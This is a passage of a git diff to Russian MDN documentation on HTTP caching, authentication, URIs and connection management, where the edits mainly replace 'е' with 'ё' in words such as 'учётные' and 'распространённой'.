                  3. Последующие посещения данной страницы приводят к загрузке документа и других ресурсов, указанных в файле манифеста, уже из кэша приложения (не с сервера). К тому же браузер также посылает событие checking объекту window.applicationCache и получает файл манифеста в соответствии с правилами кэширования HTTP.
                  4. Если текущая закешированная копия манифеста совпадает со скачанной, браузер посылает событие noupdate объекту applicationCache, завершая процесс обновления. Обратите внимание, если вы изменили закешированные ресурсы на стороне сервера, вам также необходимо изменить и файл манифеста, тем самым давая браузеру знать, какие из ресурсов нужно получить повторно.
                  5. Если файл манифеста изменился, то все перечисленные в нём файлы, так же, как и добавленные в кэш с помощью вызова applicationCache.add(), попадают во временный кэш с учётом правил кэширования HTTP. Во время обновления каждого файла в этом временном кэше браузер посылает событие progress объекту applicationCache. Если происходит ошибка, браузер посылает событие error, а обновление прекращается.
                    6. -
                  6. Как только успешно получены все файлы, они автоматически отправляются в настоящий оффлайн-кэш, а объекту applicationCache посылается событие cached. Поскольку документ уже был загружен в браузер из кэша, обновленный документ не перерисуется, пока страница не будет перезагружена (неважно как, вручную или программно).
                    7. +
                  7. Как только успешно получены все файлы, они автоматически отправляются в настоящий оффлайн-кэш, а объекту applicationCache посылается событие cached. Поскольку документ уже был загружен в браузер из кэша, обновлённый документ не перерисуется, пока страница не будет перезагружена (неважно как, вручную или программно).

                  Место хранения и очистка оффлайн-кэша

                  В Chrome оффлайн-кэш можно очистить, выбрав «Очистить историю...» в настройках или перейдя на адрес chrome://appcache-internals/. У Safari также есть похожий пункт «Очистить кэш» в настройках, но для этого также может  понадобиться перезапуск браузера.

                  diff --git a/files/ru/web/http/authentication/index.html b/files/ru/web/http/authentication/index.html index 8896a66039..4455fff42a 100644 --- a/files/ru/web/http/authentication/index.html +++ b/files/ru/web/http/authentication/index.html @@ -10,7 +10,7 @@ original_slug: Web/HTTP/Авторизация ---
                  {{HTTPSidebar}}
                  -

                  HTTP предоставляет набор инструментов для разграничения доступа к ресурсам и авторизацией. Самой распространенной схемой HTTP авторизации является "Basic" (базовая) авторизация. Данное руководство описывает основные возможности HTTP авторизации и показывает способы ограничения доступа к вашему серверу с ее использованием.

                  +

                  HTTP предоставляет набор инструментов для разграничения доступа к ресурсам и авторизацией. Самой распространённой схемой HTTP авторизации является "Basic" (базовая) авторизация. Данное руководство описывает основные возможности HTTP авторизации и показывает способы ограничения доступа к вашему серверу с её использованием.

                  Общий механизм HTTP авторизации

                  @@ -24,9 +24,9 @@ original_slug: Web/HTTP/Авторизация

                  Этот же механизм запроса и ответа может быть использован для прокси-авторизации. В таком случае ответ посылает промежуточный прокси-сервер, который требует авторизации. Поскольку обе формы авторизации могут использоваться одновременно, для них используются разные заголовки и коды статуса ответа. В случае с прокси, статус-код запроса {{HTTPStatus("407")}} (Proxy Authentication Required) и заголовок {{HTTPHeader("Proxy-Authenticate")}}, который содержит хотя бы один запрос, относящийся к прокси-авторизации, а для передачи авторизационных данных прокси-серверу используется заголовок {{HTTPHeader("Proxy-Authorization")}}.

                  -

                  Доступ запрещен

                  +

                  Доступ запрещён

                  -

                  Если (прокси) сервер получает корректные учетные данные, но они не подходят для доступа к данному ресурсу, сервер должен отправить ответ со статус кодом {{HTTPStatus("403")}} Forbidden. В отличии от статус кода {{HTTPStatus("401")}} Unauthorized или {{HTTPStatus("407")}} Proxy Authentication Required, аутентификация для этого пользователя не возможна.

                  +

                  Если (прокси) сервер получает корректные учётные данные, но они не подходят для доступа к данному ресурсу, сервер должен отправить ответ со статус кодом {{HTTPStatus("403")}} Forbidden. В отличии от статус кода {{HTTPStatus("401")}} Unauthorized или {{HTTPStatus("407")}} Proxy Authentication Required, аутентификация для этого пользователя не возможна.

                  Аутентификация с помощью изображений

                  diff --git a/files/ru/web/http/basics_of_http/identifying_resources_on_the_web/index.html b/files/ru/web/http/basics_of_http/identifying_resources_on_the_web/index.html index debd21c8bf..279ebe5439 100644 --- a/files/ru/web/http/basics_of_http/identifying_resources_on_the_web/index.html +++ b/files/ru/web/http/basics_of_http/identifying_resources_on_the_web/index.html @@ -140,14 +140,14 @@ urn:ietf:rfc:7230
                  Parameters
                  -
                  ?key1=value1&key2=value2 - это дополнительные параметры, предоставляемые Веб-серверу. Это список пар "ключ=значение", разделенных символом & . Веб-сервер может использовать эти параметры как дополнительные инструкции, что именно сделать с ресурсом перед отправкой его пользователю. Каждый Веб-сервер имеет свои правила насчет параметров, и единственный надежный способ узнать как конкретный Веб-сервер обрабатывает эти параметры - это спросить того, кто контролирует Веб-сервер.
                  +
                  ?key1=value1&key2=value2 - это дополнительные параметры, предоставляемые Веб-серверу. Это список пар "ключ=значение", разделённых символом & . Веб-сервер может использовать эти параметры как дополнительные инструкции, что именно сделать с ресурсом перед отправкой его пользователю. Каждый Веб-сервер имеет свои правила насчёт параметров, и единственный надёжный способ узнать как конкретный Веб-сервер обрабатывает эти параметры - это спросить того, кто контролирует Веб-сервер.

                  Фрагмент

                  Anchor
                  -
                  #SomewhereInTheDocument - это "якорь" на другую часть ресурса. Якорь представляет собой что-то вроде "закладки" внутри ресурса, давая браузеру  указание показать содержимое с определенного места. В HTML-документе, к примеру, браузер будет скроллить к точке где якорь определён, а на аудио/видео-документе браузер попытается перейти на время, указанное в якоре. Важно что часть, начинающаяся с # - никогда не пересылается серверу в запросе.
                  +
                  #SomewhereInTheDocument - это "якорь" на другую часть ресурса. Якорь представляет собой что-то вроде "закладки" внутри ресурса, давая браузеру  указание показать содержимое с определённого места. В HTML-документе, к примеру, браузер будет скроллить к точке где якорь определён, а на аудио/видео-документе браузер попытается перейти на время, указанное в якоре. Важно что часть, начинающаяся с # - никогда не пересылается серверу в запросе.

                  Заметки по использованию

                  diff --git a/files/ru/web/http/basics_of_http/index.html b/files/ru/web/http/basics_of_http/index.html index 415e4b9a5d..6bc0c3bc46 100644 --- a/files/ru/web/http/basics_of_http/index.html +++ b/files/ru/web/http/basics_of_http/index.html @@ -10,7 +10,7 @@ translation_of: Web/HTTP/Basics_of_HTTP ---
                  {{HTTPSidebar}}
                  -

                  HTTP удобный расширяемый протокол. Он опирается на несколько базовых понятий, таких как: ресурсы и URI (унифицированный идентификатор ресурса), простая структура сообщений и технология "клиент-сервер" для общения. Помимо этих базовых концепций, за последние годы появилось множество расширений, добавляющих новые функциональные возможности и новую семантику путем создания новых HTTP-методов или заголовков.

                  +

                  HTTP удобный расширяемый протокол. Он опирается на несколько базовых понятий, таких как: ресурсы и URI (унифицированный идентификатор ресурса), простая структура сообщений и технология "клиент-сервер" для общения. Помимо этих базовых концепций, за последние годы появилось множество расширений, добавляющих новые функциональные возможности и новую семантику путём создания новых HTTP-методов или заголовков.

                  Статьи

                  @@ -20,7 +20,7 @@ translation_of: Web/HTTP/Basics_of_HTTP
                  Эволюция HTTP
                  HTTP был создан в начале 1990-х годов и несколько раз был расширен. Эта статья даёт обзор его истории и описывает HTTP/0.9, HTTP/1.0, HTTP/1.1, и современный HTTP/2, а также незначительные нововведения представленные в последние несколько лет.
                  Обсуждение версии HTTP
                  -
                  Описывает, как клиент и сервер могут договориться о конкретной версии HTTP и в конечном счете перейти на более новую версию протокола. 
                  +
                  Описывает, как клиент и сервер могут договориться о конкретной версии HTTP и в конечном счёте перейти на более новую версию протокола. 
                  Resources and URIs
                  A brief introduction of the notion of resources, identifiers, and locations on the Web.
                  Identifying resources on the Web
                  diff --git a/files/ru/web/http/basics_of_http/mime_types/common_types/index.html b/files/ru/web/http/basics_of_http/mime_types/common_types/index.html index 1b9703c33d..7ed2a10da0 100644 --- a/files/ru/web/http/basics_of_http/mime_types/common_types/index.html +++ b/files/ru/web/http/basics_of_http/mime_types/common_types/index.html @@ -9,7 +9,7 @@ translation_of: Web/HTTP/Basics_of_HTTP/MIME_types/Common_types ---
                  {{HTTPSidebar}}
                  -
                  Здесь представлен исчерпывающий список типов MIME, соотнесенных с типами документов и отсортированных по расширению.
                  +
                  Здесь представлен исчерпывающий список типов MIME, соотнесённых с типами документов и отсортированных по расширению.
                  diff --git a/files/ru/web/http/caching/index.html b/files/ru/web/http/caching/index.html index 9e6efe7d3e..d292181c07 100644 --- a/files/ru/web/http/caching/index.html +++ b/files/ru/web/http/caching/index.html @@ -11,13 +11,13 @@ original_slug: Web/HTTP/Кэширование ---
                  {{HTTPSidebar}}
                  -

                  Производительность веб-сайтов и приложений можно значительно повысить за счет повторного использования ранее полученных ресурсов. Веб-кеши сокращают задержку и снижают сетевой трафик, уменьшая тем самым время, необходимое для отображения ресурсов. Используя HTTP-кеширование, сайты становятся более отзывчивыми.

                  +

                  Производительность веб-сайтов и приложений можно значительно повысить за счёт повторного использования ранее полученных ресурсов. Веб-кеши сокращают задержку и снижают сетевой трафик, уменьшая тем самым время, необходимое для отображения ресурсов. Используя HTTP-кеширование, сайты становятся более отзывчивыми.

                  Различные виды кеширования

                  -

                  Техника кеширования заключается в сохранении копии полученного ресурса для возврата этой копии в ответ на дальнейшие запросы. Запрос на ресурс, уже имеющийся в веб-кеше, перехватывается, и вместо обращения к исходному серверу выполняется загрузка копии из кеша. Таким образом снижается нагрузка на сервер, которому не приходится самому обслуживать всех клиентов, и повышается производительность — кеш ближе к клиенту и ресурс передается быстрее. Кеширование является основным источником повышения производительности веб-сайтов. Однако, кеш надо правильно сконфигурировать: ресурсы редко остаются неизменными, так что копию требуется хранить только до того момента, как ресурс изменился, но не дольше.

                  +

                  Техника кеширования заключается в сохранении копии полученного ресурса для возврата этой копии в ответ на дальнейшие запросы. Запрос на ресурс, уже имеющийся в веб-кеше, перехватывается, и вместо обращения к исходному серверу выполняется загрузка копии из кеша. Таким образом снижается нагрузка на сервер, которому не приходится самому обслуживать всех клиентов, и повышается производительность — кеш ближе к клиенту и ресурс передаётся быстрее. Кеширование является основным источником повышения производительности веб-сайтов. Однако, кеш надо правильно сконфигурировать: ресурсы редко остаются неизменными, так что копию требуется хранить только до того момента, как ресурс изменился, но не дольше.

                  -

                  Существует несколько видов кешей, которые можно разделить на две основные категории: приватные кеши и кеши совместного использования. В кешах совместного использования (shared cache) хранятся копии, которые могут направляться разным пользователям. Приватный кеш (private cache) предназначен для отдельного пользователя. Здесь будет говориться в основном о кешах браузеров и прокси, но существуют также кеши шлюзов, CDN, реверсные прокси кеши и балансировщики нагрузки, разворачиваемые на серверах для повышения надежности, производительности и масштабируемости веб-сайтов и веб-приложений.

                  +

                  Существует несколько видов кешей, которые можно разделить на две основные категории: приватные кеши и кеши совместного использования. В кешах совместного использования (shared cache) хранятся копии, которые могут направляться разным пользователям. Приватный кеш (private cache) предназначен для отдельного пользователя. Здесь будет говориться в основном о кешах браузеров и прокси, но существуют также кеши шлюзов, CDN, реверсные прокси кеши и балансировщики нагрузки, разворачиваемые на серверах для повышения надёжности, производительности и масштабируемости веб-сайтов и веб-приложений.



                  @@ -27,7 +27,7 @@ original_slug: Web/HTTP/Кэширование

                  Приватный (private) кеш браузера

                  -

                  Приватный кеш предназначен для отдельного пользователя. Вы, возможно, уже видели параметры кеширования в настройках своего браузера. Кеш браузера содержит все документы, загруженные пользователем по HTTP. Он используется для доступа к ранее загруженным страницам при навигации назад/вперед, позволяет сохранять страницы, или просматривать их код, не обращаясь лишний раз к серверу. Кроме того, кеш полезен при отключении от сети.

                  +

                  Приватный кеш предназначен для отдельного пользователя. Вы, возможно, уже видели параметры кеширования в настройках своего браузера. Кеш браузера содержит все документы, загруженные пользователем по HTTP. Он используется для доступа к ранее загруженным страницам при навигации назад/вперёд, позволяет сохранять страницы, или просматривать их код, не обращаясь лишний раз к серверу. Кроме того, кеш полезен при отключении от сети.

                  Общий (shared) прокси-кеш

                  @@ -35,7 +35,7 @@ original_slug: Web/HTTP/Кэширование

                  Цели кеширования

                  -

                  Кеширование в HTTP не является обязательным, однако в большинстве случаев бывает полезно повторно использовать ранее сохраненные ресурсы. Тем не менее, стандартные кеши HTTP обычно способны кешировать только ответы на запросы методом {{HTTPMethod("GET")}}, а другие отклоняют.

                  +

                  Кеширование в HTTP не является обязательным, однако в большинстве случаев бывает полезно повторно использовать ранее сохранённые ресурсы. Тем не менее, стандартные кеши HTTP обычно способны кешировать только ответы на запросы методом {{HTTPMethod("GET")}}, а другие отклоняют.

                  Первичный ключ состоит из метода запроса и запрашиваемого URI (зачастую используется только URI, поскольку целью кеширования являются только GET-запросы). Вот примеры того, что обычно записывается в кеш:

                  @@ -49,7 +49,7 @@ original_slug: Web/HTTP/Кэширование -

                  Запись в кеше может также состоять из множества ответов, различаемых по вторичному ключу, если при формировании ответа производится согласование данных. Подробнее об этом рассказано ниже, в разделе, посвященном заголовку {{HTTPHeader("Vary")}}.

                  +

                  Запись в кеше может также состоять из множества ответов, различаемых по вторичному ключу, если при формировании ответа производится согласование данных. Подробнее об этом рассказано ниже, в разделе, посвящённом заголовку {{HTTPHeader("Vary")}}.

                  Управление кешированием

                  @@ -89,23 +89,23 @@ Cache-Control: public

                  Проверка актуальности

                  -

                  При использовании директивы "must-revalidate" кеш обязан проверять статус ресурсов с истекшим сроком действия. Те копии, что утратили актуальность, использоваться не должны. Подробнее об этом рассказано ниже, в разделе Валидация кеша.

                  +

                  При использовании директивы "must-revalidate" кеш обязан проверять статус ресурсов с истёкшим сроком действия. Те копии, что утратили актуальность, использоваться не должны. Подробнее об этом рассказано ниже, в разделе Валидация кеша.

                  Cache-Control: must-revalidate

                  Заголовок Pragma

                  -

                  {{HTTPHeader("Pragma")}} является заголовком HTTP/1.0. Он не описан для HTTP-ответов и, таким образом, не может служить надежной заменой общему заголовку Cache-Control протокола HTTP/1.1, хотя его поведение аналогично "Cache-Control: no-cache" когда поле заголовка Cache-Control опущено в запросе. Использовать его следует только для совместимости с клиентами HTTP/1.0.

                  +

                  {{HTTPHeader("Pragma")}} является заголовком HTTP/1.0. Он не описан для HTTP-ответов и, таким образом, не может служить надёжной заменой общему заголовку Cache-Control протокола HTTP/1.1, хотя его поведение аналогично "Cache-Control: no-cache" когда поле заголовка Cache-Control опущено в запросе. Использовать его следует только для совместимости с клиентами HTTP/1.0.

                  -

                  Свежесть сохраненной копии

                  +

                  Свежесть сохранённой копии

                  -

                  Однажды попав в кеш, ресурс, теоретически, может храниться там вечно. Однако, поскольку объем хранилища конечен, записи периодически приходится оттуда удалять.  Этот процесс называют вытеснением данных из кеша (cache eviction). Кроме того, ресурсы могут изменяться на сервере, поэтому кеш требуется обновлять. Поскольку HTTP является клиент-серверным протоколом, сервера не могут сами обращаться к кешам и клиентам при изменении ресурса; им необходимо договориться о сроке действия сохраненной копии. До его истечения ресурс считается свежим (fresh), после — устаревшим (stale). Алгоритмы вытеснения отдают предпочтение "свежим" ресурсам. Тем не менее, копия ресурса не удаляется из кеша сразу же по истечении ее срока действия; при получении запроса на устаревший ресурс кеш передаёт его дальше с заголовком {{HTTPHeader("If-None-Match")}} на случай, если копия все еще актуальна. Если это так, сервер возвращает заголовок {{HTTPStatus("304")}} Not Modified («не изменялось»), а тело ресурса не посылает, экономя тем самым трафик.

                  +

                  Однажды попав в кеш, ресурс, теоретически, может храниться там вечно. Однако, поскольку объем хранилища конечен, записи периодически приходится оттуда удалять.  Этот процесс называют вытеснением данных из кеша (cache eviction). Кроме того, ресурсы могут изменяться на сервере, поэтому кеш требуется обновлять. Поскольку HTTP является клиент-серверным протоколом, сервера не могут сами обращаться к кешам и клиентам при изменении ресурса; им необходимо договориться о сроке действия сохранённой копии. До его истечения ресурс считается свежим (fresh), после — устаревшим (stale). Алгоритмы вытеснения отдают предпочтение "свежим" ресурсам. Тем не менее, копия ресурса не удаляется из кеша сразу же по истечении её срока действия; при получении запроса на устаревший ресурс кеш передаёт его дальше с заголовком {{HTTPHeader("If-None-Match")}} на случай, если копия все ещё актуальна. Если это так, сервер возвращает заголовок {{HTTPStatus("304")}} Not Modified («не изменялось»), а тело ресурса не посылает, экономя тем самым трафик.

                  Вот пример того, как протекает этот процесс при использовании совместного кеша прокси:

                  Show how a proxy cache acts when a doc is not cache, in the cache and fresh, in the cache and stale.

                  -

                  Срок действия (freshnessLifetime) вычисляется на основании нескольких заголовков. Если задан заголовок "Cache-control: max-age=N", то срок действия равен N. Если его нет, а это бывает очень часто, проверяется заголовок {{HTTPHeader("Expires")}}, и, если он есть, то срок действия берется равным значению заголовка Expires минус значение заголовка Date. Наконец, если нет ни того ни другого, смотрят заголовок Last-Modified.  Если он есть, то срок действия равен значению заголовка Date минус значение заголовка Last-modified разделить на 10.
                  +

                  Срок действия (freshnessLifetime) вычисляется на основании нескольких заголовков. Если задан заголовок "Cache-control: max-age=N", то срок действия равен N. Если его нет, а это бывает очень часто, проверяется заголовок {{HTTPHeader("Expires")}}, и, если он есть, то срок действия берётся равным значению заголовка Expires минус значение заголовка Date. Наконец, если нет ни того ни другого, смотрят заголовок Last-Modified.  Если он есть, то срок действия равен значению заголовка Date минус значение заголовка Last-modified разделить на 10.
                  Время устаревания (expirationTime) вычисляется следующим образом:

                  expirationTime = responseTime + freshnessLifetime - currentAge
@@ -115,9 +115,9 @@ Cache-Control: public
 
 
                  Обновление статических ресурсов (Revved resources)
                  
 
-
                  Чем больше ресурсов может быть взято из кеша, тем быстрее сайт реагирует на запросы и тем выше его производительность. Из этих соображений их "срок годности" имеет смысл делать как можно большим. Однако, возникает проблема с ресурсами, которые обновляются редко и нерегулярно. Как раз их кеширование дает больше всего выгоды, но сильно затрудняет обновление. Такие ресурсы можно найти на любой веб-странице: файлы скриптов (JavaScript) и стилей (CSS) изменяются редко, но уж если это произошло, обновление надо произвести как можно быстрее.
                  
+
                  Чем больше ресурсов может быть взято из кеша, тем быстрее сайт реагирует на запросы и тем выше его производительность. Из этих соображений их "срок годности" имеет смысл делать как можно большим. Однако, возникает проблема с ресурсами, которые обновляются редко и нерегулярно. Как раз их кеширование даёт больше всего выгоды, но сильно затрудняет обновление. Такие ресурсы можно найти на любой веб-странице: файлы скриптов (JavaScript) и стилей (CSS) изменяются редко, но уж если это произошло, обновление надо произвести как можно быстрее.
                  
 
-
                  Веб-разработчики разработали метод, который Стив Сандерс (Steve Sounders) назвал revving[1], что можно перевести как "оборачиваемость". Для редко обновляемых файлов используют особый способ именования: в их URL, обычно в имя файла, добавляют номер релиза или версии. Таким образом, каждая новая версия считается отдельным ресурсом, срок устаревания которого отодвинут далеко в будущее, как правило, на год, или больше. Недостатком этого метода является то, что для получения новых версий ресурса приходится обновлять все ссылки на него — это некоторое усложнение, справиться с которым разработчику помогает цепочка инструментов. Обновление статических ресурсов влечет за собой обновление и часто изменяемых ресурсов. Когда считываются первые, считываются и новые версии вторых.
                  
+
                  Веб-разработчики разработали метод, который Стив Сандерс (Steve Sounders) назвал revving[1], что можно перевести как "оборачиваемость". Для редко обновляемых файлов используют особый способ именования: в их URL, обычно в имя файла, добавляют номер релиза или версии. Таким образом, каждая новая версия считается отдельным ресурсом, срок устаревания которого отодвинут далеко в будущее, как правило, на год, или больше. Недостатком этого метода является то, что для получения новых версий ресурса приходится обновлять все ссылки на него — это некоторое усложнение, справиться с которым разработчику помогает цепочка инструментов. Обновление статических ресурсов влечёт за собой обновление и часто изменяемых ресурсов. Когда считываются первые, считываются и новые версии вторых.
                  
 
 
                  Этот метод имеет дополнительное достоинство: одновременное обновление двух кешированных ресурсов не приводит к ситуации, при которой устаревшая версия одного ресурса используется вместе новой версией другого. Это очень важно для сайтов с взаимосвязанными файлами стилей CSS или JS-скриптов — связь может возникнуть, например, из-за ссылок на одни и те же элементы HTML-страницы.
                  
 
@@ -133,7 +133,7 @@ Cache-Control: public
 
 
                  Заголовки ETag
                  
 
-
                  Заголовок ответа {{HTTPHeader("ETag")}} является непрозрачным для клиентского приложения (агента) значением, которое можно использовать в качестве сильного валидатора. Суть в том, что клиент, например, браузер, не знает, что представляет эта строка и не может предсказать, каким будет ее значение. Если в ответе присутствует заголовок ETag, клиент может транслировать его значение через заголовок {{HTTPHeader("If-None-Match")}} будущих запросов для валидации кешированного ресурса.
                  
+
                  Заголовок ответа {{HTTPHeader("ETag")}} является непрозрачным для клиентского приложения (агента) значением, которое можно использовать в качестве сильного валидатора. Суть в том, что клиент, например, браузер, не знает, что представляет эта строка и не может предсказать, каким будет её значение. Если в ответе присутствует заголовок ETag, клиент может транслировать его значение через заголовок {{HTTPHeader("If-None-Match")}} будущих запросов для валидации кешированного ресурса.
                  
 
 
                  Заголовок ответа {{HTTPHeader("Last-Modified")}} можно использовать в качестве слабого валидатора. Слабым он считается из-за того, что имеет 1-секундное разрешение. Если в ответе присутствует заголовок Last-Modified, то для валидации кешированного документа клиент может выводить в запросах заголовок  {{HTTPHeader("If-Modified-Since")}}.
                  
 
@@ -143,7 +143,7 @@ Cache-Control: public
 
 
                  Заголовок HTTP-ответа {{HTTPHeader("Vary")}} определяет, как по заголовкам будущих запросов понять, может ли быть использована копия из кеша, или нужно запросить новые данные у сервера.
                  
 
-
                  Если кеш получает запрос, который можно удовлетворить сохраненным в кеше ответом с заголовком Vary, то использовать этот ответ можно только при совпадении всех указанных в Vary полей заголовка исходного (сохраненного в кеше) запроса и нового запроса.
                  
+
                  Если кеш получает запрос, который можно удовлетворить сохранённым в кеше ответом с заголовком Vary, то использовать этот ответ можно только при совпадении всех указанных в Vary полей заголовка исходного (сохранённого в кеше) запроса и нового запроса.
                  
 
 
                  The Vary header leads cache to use more HTTP headers as key for the cache.
                  
 
diff --git a/files/ru/web/http/connection_management_in_http_1.x/index.html b/files/ru/web/http/connection_management_in_http_1.x/index.html
index 4b75db2059..7b27e036fe 100644
--- a/files/ru/web/http/connection_management_in_http_1.x/index.html
+++ b/files/ru/web/http/connection_management_in_http_1.x/index.html
@@ -19,27 +19,27 @@ translation_of: Web/HTTP/Connection_management_in_HTTP_1.x
 
                  В HTTP/2 внесены дополнительные модели управления соединением.
                  
 
 
-
                  Важно отметить, что управление соединением в HTTP применяется к соединению между двумя последовательными узлами, и является пошаговым (hop-by-hop) а не "конец-к-концу"  (end-to-end). Модель, используемая для соединения клиента с его первым прокси, может отличаться от модели соединения между прокси и конечным сервером (или любым из промежуточных серверов). Заголовки HTTP, вовлеченные в определение модели соединения, типа HTTPHeader("Connection")}} и {{HTTPHeader("Keep-Alive")}}, являются пошаговыми заголовками, значения которых могут изменяться промежуточными узлами.
                  
+
                  Важно отметить, что управление соединением в HTTP применяется к соединению между двумя последовательными узлами, и является пошаговым (hop-by-hop) а не "конец-к-концу"  (end-to-end). Модель, используемая для соединения клиента с его первым прокси, может отличаться от модели соединения между прокси и конечным сервером (или любым из промежуточных серверов). Заголовки HTTP, вовлечённые в определение модели соединения, типа HTTPHeader("Connection")}} и {{HTTPHeader("Keep-Alive")}}, являются пошаговыми заголовками, значения которых могут изменяться промежуточными узлами.
                  
 
 
                  Краткосрочные соединения (Short-lived connections)
                  
 
 
                  Исходной моделью в HTTP, в HTTP/1.0 она же является моделью по умолчанию, являются краткосрочные соединения (short-lived connections). Для каждого HTTP запроса используется отдельное соединение; это означает, что "рукопожатие" TCP происходит перед каждым из запросов HTTP, идущих один за другим.
                  
 
-
                  TCP-рукопожатие само по себе затратно по времени, но TCP-соединения приспособились справляются с этой нагрузкой, превращаясь в устойчивые (или теплые) соединения. Краткосрочные соединения не используют это полезное свойство TCP, так что эффективность оказывается ниже оптимальной из-за того что передача осуществляется по новому, холодному соединению.
                  
+
                  TCP-рукопожатие само по себе затратно по времени, но TCP-соединения приспособились справляются с этой нагрузкой, превращаясь в устойчивые (или тёплые) соединения. Краткосрочные соединения не используют это полезное свойство TCP, так что эффективность оказывается ниже оптимальной из-за того что передача осуществляется по новому, холодному соединению.
                  
 
 
                  Данная модель является моделью по умолчанию в HTTP/1.0 (при отсутствии заголовка {{HTTPHeader("Connection")}}, или когда его значением является close). В HTTP/1.1 такая модель используется только если заголовок {{HTTPHeader("Connection")}} посылается со значением close.
                  
 
 
                  
-
                  Если речь не идет об очень старой, не поддерживающей постоянные соединения, системе, данную модель использовать нет смысла.
                  
+
                  Если речь не идёт об очень старой, не поддерживающей постоянные соединения, системе, данную модель использовать нет смысла.
                  
 
                  
 
 
                  Постоянные соединения
                  
 
-
                  Краткосрочные соединения имеют два больших недостатка: требуется значительное время на установку нового соединения, и то, что эффективность TCP-соединения улучшается только по прошествии некоторого времени от начала его использования (теплое соединение). Для решения этих проблем была разработана концепция постоянного соединения (persistent connection), еще до появления HTTP/1.1. Его также называют соединением keep-alive.
                  
+
                  Краткосрочные соединения имеют два больших недостатка: требуется значительное время на установку нового соединения, и то, что эффективность TCP-соединения улучшается только по прошествии некоторого времени от начала его использования (тёплое соединение). Для решения этих проблем была разработана концепция постоянного соединения (persistent connection), ещё до появления HTTP/1.1. Его также называют соединением keep-alive.
                  
 
-
                  Постоянным называют соединение, которое остается открытым некоторый период времени и может быть использовано для нескольких запросов, благодаря чему отпадает необходимость в новых рукопожатиях TCP и используются средства повышения производительности TCP. Это соединение остается открытым не навсегда: праздные соединения закрываются по истечению некоторого времени (для задания минимального времени, на протяжении которого соединение должно оставаться открытым, сервер может использовать заголовок {{HTTPHeader("Keep-Alive")}}).
                  
+
                  Постоянным называют соединение, которое остаётся открытым некоторый период времени и может быть использовано для нескольких запросов, благодаря чему отпадает необходимость в новых рукопожатиях TCP и используются средства повышения производительности TCP. Это соединение остаётся открытым не навсегда: праздные соединения закрываются по истечению некоторого времени (для задания минимального времени, на протяжении которого соединение должно оставаться открытым, сервер может использовать заголовок {{HTTPHeader("Keep-Alive")}}).
                  
 
-
                  У постоянных соединений есть свои недочеты; даже работая вхолостую, они потребляют ресурсы сервера, а при высокой нагрузке могут проводиться {{glossary("DoS attack", "DoS attacks")}}. В таких случаях большую эффективность могут обеспечить не постоянные соединения, которые закрываются как только освободятся.
                  
+
                  У постоянных соединений есть свои недочёты; даже работая вхолостую, они потребляют ресурсы сервера, а при высокой нагрузке могут проводиться {{glossary("DoS attack", "DoS attacks")}}. В таких случаях большую эффективность могут обеспечить не постоянные соединения, которые закрываются как только освободятся.
                  
 
 
                  Соединения HTTP/1.0 по умолчанию не являются постоянными. Для превращения их в постоянные надо присвоить заголовку {{HTTPHeader("Connection")}} значение, отличное от close - обычно retry-after.
                  
 
@@ -51,17 +51,17 @@ translation_of: Web/HTTP/Connection_management_in_HTTP_1.x
 
                  Конвейерная обработка HTTP в современных браузерах не активирована по умолчанию:
                  
 
 
                    
- 
                  • Прокси с багами все еще встречаются, что приводит к странным и непредсказуемым явлениям, которые веб-разработчикам трудно предсказать и диагностировать.
                    • 
- 
                  • Конвейерную обработку сложно правильно реализовать: объем передаваемых ресурсов, используемая RTT и эффективная пропускная способность имеют непосредственное влияние на те улучшения, что обеспечиваются конвейерной обработкой. Конвейерная обработка HTTP, таким образом, дает существенное улучшение не во всех случаях.
                    • 
+ 
                  • Прокси с багами все ещё встречаются, что приводит к странным и непредсказуемым явлениям, которые веб-разработчикам трудно предсказать и диагностировать.
                    • 
+ 
                  • Конвейерную обработку сложно правильно реализовать: объем передаваемых ресурсов, используемая RTT и эффективная пропускная способность имеют непосредственное влияние на те улучшения, что обеспечиваются конвейерной обработкой. Конвейерная обработка HTTP, таким образом, даёт существенное улучшение не во всех случаях.
                    • 
  
                  • Конвейерная обработка подвержена проблеме HOL.
                    • 
 
                  
 
-
                  По этим причинам в HTTP/2 на смену конвейерной обработке пришел новый алгоритм, мультиплексность (multiplexing).
                  
+
                  По этим причинам в HTTP/2 на смену конвейерной обработке пришёл новый алгоритм, мультиплексность (multiplexing).
                  
 
 
-
                  По умолчанию запросы HTTP идут последовательно. Новый запрос выдается только после того, как получен ответ на предыдущий. Из-за запаздываний в сети и ограничений на пропускную способность это может приводить к тому, что сервер увидит следующий запрос с существенной задержкой.
                  
+
                  По умолчанию запросы HTTP идут последовательно. Новый запрос выдаётся только после того, как получен ответ на предыдущий. Из-за запаздываний в сети и ограничений на пропускную способность это может приводить к тому, что сервер увидит следующий запрос с существенной задержкой.
                  
 
-
                  Конвейерная обработка это процесс отсылки последовательных запросов по одному постоянному соединению не дожидаясь ответа. Таким образом избегают задержки соединения. Теоретически, производительность можно было бы повысить также за счет упаковки двух запросов HTTP в одно и то же сообщение TCP. Типичный MSS (Maximum Segment Size - Максимальный размер сегмента) достаточно велик, чтобы вместить несколько простых запросов, хотя требования на объем запросов HTTP продолжают расти.
                  
+
                  Конвейерная обработка это процесс отсылки последовательных запросов по одному постоянному соединению не дожидаясь ответа. Таким образом избегают задержки соединения. Теоретически, производительность можно было бы повысить также за счёт упаковки двух запросов HTTP в одно и то же сообщение TCP. Типичный MSS (Maximum Segment Size - Максимальный размер сегмента) достаточно велик, чтобы вместить несколько простых запросов, хотя требования на объем запросов HTTP продолжают расти.
                  
 
 
                  Не все типы запросов HTTP позволяют конвейерную обработку: только методы {{glossary("idempotent")}}, а именно {{HTTPMethod("GET")}}, {{HTTPMethod("HEAD")}}, {{HTTPMethod("PUT")}} и {{HTTPMethod("DELETE")}}, можно перезапускать безопасно: в случае сбоя содержимое конвейерной передачи можно просто повторить.
                  
 
@@ -75,10 +75,10 @@ translation_of: Web/HTTP/Connection_management_in_HTTP_1.x
 
 
                  Поскольку соединение HTTP/1.x является последовательными запросами, даже без упорядочивания, оно не может быть оптимальным без наличия достаточно большой пропускной способности. Браузеры находят решение в открытии нескольких соединений к каждому домену с отсылкой параллельных запросов. По умолчанию это когда-то было 2-3 соединения, но сейчас их число возросло примерно до 6 параллельных соединений. При попытке использовать большее количество есть риск спровоцировать защиту от DoS со стороны сервера.
                  
 
-
